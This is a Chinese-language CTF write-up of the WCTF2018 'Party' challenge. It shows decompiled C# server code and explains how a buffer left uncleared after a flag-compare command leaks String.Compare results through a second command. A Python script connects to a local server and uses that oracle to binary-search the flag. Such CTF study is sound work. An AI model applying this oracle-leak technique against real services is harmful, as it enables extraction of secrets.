WriteUp:WCTF2018 Party

题目描述

WCTF2018 的 Party 题目。

题目本体见这里

大意是有一个这样的 Server

指定了监听的地址和一个Flag,要做的就是找出漏洞拿到Flag。

当然题目本身提供了一个Client

从交互界面来看,是一个添加 guests 和 friendship 然后判断是否为一个 party。

题目背景

首先从程序的 Icon 上我觉得十有八九就是 C# 写的,拖进 dnspy 一看果然没错。

不过这里很有意思出现了一个单词 Ramsey 如果简单查一下就可以找到背景

在组合数学上,拉姆齐(Ramsey)定理,又称拉姆齐二染色定理,是要解决以下的问题:要找这样一个最小的数 R(k,l)=n,使得 n 个人中必定有 k 个人相识或 l 个人互不相识。
这个定理以弗兰克·普伦普顿·拉姆齐命名,1930年他在论文On a Problem in Formal Logic(《形式逻辑上的一个问题》)证明了R(3,3)=6。

不过这跟 Paul Erdos 有什么关系呢?再往下翻翻可以看到

已知的拉姆齐数非常少,保罗·艾狄胥曾以一个譬喻来描述寻找拉姆齐数的难度:“想像有队外星人军队在地球降落,要求取得R(5,5)的值,否则便会毁灭地球。在这个情况,我们应该集中所有电脑和数学家尝试去找这个数值。若他们要求的是R(6,6)的值,我们要尝试毁灭这班外星人了。”

也就是说这个 Server 的具体逻辑应该跟拉姆齐数的计算有关。

Server 逻辑分析

快速几步跟进后,在 ClientThread::Run 中就可以看到所有逻辑了,大致为

1
2
3
4
5
6
7
8
9
10
11
12
13
for (;;)
{
string text = ClientThread.<Run>g__readline|10_0(ref CS$<>8__locals1);
switch(int.Parse(text))
{
case 1:
// keep alive
case 2:
// 验证 party 逻辑
case 3:
// flag 比较逻辑
}
}

由于我们最关心 flag,所以我们先从 case3 看起。

Case 3

首先 flag 是被存在了 ClientThread.flag 中,通过 Ctrl + F 搜索很容易确定只有在 ClientThread::flagThreadMain 中被用来比较,这个方法会通过 flagSemaphore 来同步保证在 case3 最后调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
private void flagThreadMain()
{
for (;;)
{
this.flagSemaphore.WaitOne();
int num = 1;
int num2 = (int)this.comm[0];
for (int i = 0; i < num2; i++)
{
string text = "";
while (num < 4096 && this.comm[num] != 0) // 以 0 作为分割符取出 this.comm 中所有连续的字符串
{
string str = text;
char c = (char)this.comm[num];
text = str + c.ToString();
num++;
}
num++;
int num3 = string.Compare(this.flag, text, StringComparison.Ordinal);
this.comm[4 * i] = (byte)(num3 & 255); // 将比较结果以小端序写入
this.comm[1 + 4 * i] = (byte)(num3 >> 8 & 255);
this.comm[2 + 4 * i] = (byte)(num3 >> 16 & 255);
this.comm[3 + 4 * i] = (byte)(num3 >> 24 & 255);
}
this.mainSemaphore.Release();
}
}

回过头来看 Case 3,其实也相当清晰,下面省去了一些参数合法性验证。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
case 3:
{
int num10 = int.Parse(ClientThread.<Run>g__readline|10_0(ref CS$<>8__locals1)); // 要测试的 flag 的行数
this.comm[0] = (byte)num10;
int num11 = 1;
int num12 = 0;
while (num12 < num10 && num11 < 4096)
{
string text2 = ClientThread.<Run>g__readline|10_0(ref CS$<>8__locals1);
int num13 = 0;
while (num13 < text2.Length && num11 < 4096) // 写入 this.comm
{
this.comm[num11] = (byte)text2[num13];
num13++;
num11++;
}
if (num11 < 4096) // 0 作为分隔符
{
this.comm[num11] = 0;
num11++;
}
num12++;
}
if (num11 >= 4096)
{
ClientThread.<Run>g__sendline|10_1("Your flags are too large!", ref CS$<>8__locals1);
continue;
}
this.flagSemaphore.Release(); // 这里利用锁来调用 ClentThread::flagThreadMain 来验证
this.mainSemaphore.WaitOne();
for (int l = 0; l < num10; l++)
{
if (this.comm[l * 4] == 0 && this.comm[1 + l * 4] == 0 && this.comm[2 + l * 4] == 0 && this.comm[3 + l * 4] == 0) // 如果正确返回 Correct
{
ClientThread.<Run>g__sendline|10_1("Correct!", ref CS$<>8__locals1);
}
else
{
ClientThread.<Run>g__sendline|10_1("Incorrect!", ref CS$<>8__locals1);
}
}
continue;
}

case3 一共就这些逻辑,这时候很容易想到的一个想法是暴力破解,但是实际上我们并不知道 flag 的长度,而且暴力破解的复杂度有 O(c^n) 其中 c 是所有可输入字符的总数,显然是不行的。

但是这里我们要注意一件事,那就是 this.comm 的内容在 case3 后之后并不会被清空,也就是说如果 case3 对 this.comm 的修改足以影响 case2 的返回的话,我们就可以变相得到 String.Compare 的返回值,那样我们就可以通过二分搜索快速找到 flag 了,复杂度为 O(nlgc),所以接下来我们先看看 case2 的逻辑。

Case 2

首先看 Case 2 开头的几行代码,依旧是省去了部分合法性验证。

1
2
3
4
5
6
7
8
9
10
int num = int.Parse(ClientThread.<Run>g__readline|10_0(ref CS$<>8__locals1));
int num2 = int.Parse(ClientThread.<Run>g__readline|10_0(ref CS$<>8__locals1));
int num3 = int.Parse(ClientThread.<Run>g__readline|10_0(ref CS$<>8__locals1));
this.comm[0] = (byte)num;
this.comm[1] = (byte)num2;
int num4 = (num * num - num) / 2 / 8;
for (int i = 0; i < num4; i++)
{
this.comm[2 + i] = 0;
}

之前已经提到过了,我们关心的是 this.comm 中的比较结果,这里我们可以看到 this.comm[0]this.comm[1] 被修改了,同时 for 循环中有一部分 this.comm 被置零了。

回到刚才 String.Compare 的返回值,我们知道如果相等那么返回值是 0,如果 flag 比 text 大返回正值有 this.comm[3] = 0x00,如果 flag 比 text 返回负值有 this.comm[3] = 0XFF

接着如果我们指定 num = 5, num2 = 5 num3 = 0 那么 this.comm 前三个 byte 的值就固定为 5, 5, 0 了,这样的话对于 case2 只有两种输入 5, 5, 0, 0, 0 ...5, 5, 0, 255, 0 ...,事实上这两种输入对应的结果分别是 disapprove 和 approve,所以我们就可以通过 case2 的结果来推断之前 String.Compare 的返回值。

换句话说,我们把整个 this.comm 看作是 case2 的输入,其中从 this.comm[4] 开始的所有值都是 0,而 this.comm[3] 的值由 String.Compare 控制,我们只要构造 this.comm[0], this.comm[1], this.comm[2]this.comm[3] 分别为 0 和 0xFF 的时候有不同的输出就可以判定 String.Compare 的返回值。也就是说上面的构造只是一种,只要可以让 case2 有不同的返回就可以 exploit。

Exploit

理解了上面的说明拿到 flag 就很简单了,下面是我的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import socket

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:

s.connect(('127.0.0.1', 8888))

def get_recv(): # 很奇怪,每次 recv 只能接收到一个字符
r = b''
while b'party' not in r and b'flag' not in r and b'Correct' not in r and b'Incorrect' not in r:
r += s.recv(4096)
return r

def verify(flag: str)->int:
s.sendall(f"3\n1\n{flag}\n".encode('ASCII'))
r = get_recv()
print(r)
if b'Correct' in r:
return 0
s.sendall(b'2\n5\n5\n0\n')
r = get_recv()
print(r)
if b'not' in r: # smaller
return 1
elif b'app' in r: # bigger
return -1

def next_char(current: str)->int:
while True:
right = 0x7E
left = 0x20
while left <= right:
mid = left + (right - left) // 2
result = verify(f"{current}{chr(mid)}")
if result > 0:
left = mid + 1
elif result < 0:
right = mid - 1
else:
break
if result != 0:
new_char = chr(right) # 当二分结束的时候right指向最后一个smaller left指向第一个bigger
current += new_char
yield new_char
else:
yield chr(mid) # 返回 Correct 的时候 mid 就是所需字符
break

print(''.join(next_char('')))

稍微有一点细节要注意的就是,由于每次二分的时候没法找到完全相等的位置(text 比 flag 短的时候属于 smaller),因此 right 指针会指向最后一个 smaller 的位置,而 left 会指向第一个 bigger 的位置,这时候 right 指向的字符正好就是 flag 中的字符,因为这时候 smaller 的原因不是字符小而是长度短了。而当返回 Correct 的时候显然 mid 就是 flag 中对应的字符。

后记

所以你说题目背景有什么用呢?

当然是什么鸟用都没啦,不过在我还不知道题目背景的时候我一头扎进了验证拉姆齐数算图论的那个 N 重循环撞得头破血流最后师傅点了下才醒悟。

所以说还是要增加比赛经验呀。

另外这里还存一个疑点,在 dnspy 反编译的结果中出现了很多这样的代码

1
2
3
int num = int.Parse(ClientThread.<Run>g__readline|10_0(ref CS$<>8__locals1));
int num2 = int.Parse(ClientThread.<Run>g__readline|10_0(ref CS$<>8__locals1));
int num3 = int.Parse(ClientThread.<Run>g__readline|10_0(ref CS$<>8__locals1));

这里 <Run>g__readline|10_0 是什么鬼喔,找不到对应的函数体,虽然可以从名字上猜测出来含义,但还是挺烦的。如果您知道原因的话欢迎在评论区点出。

参考资料

拉姆齐定理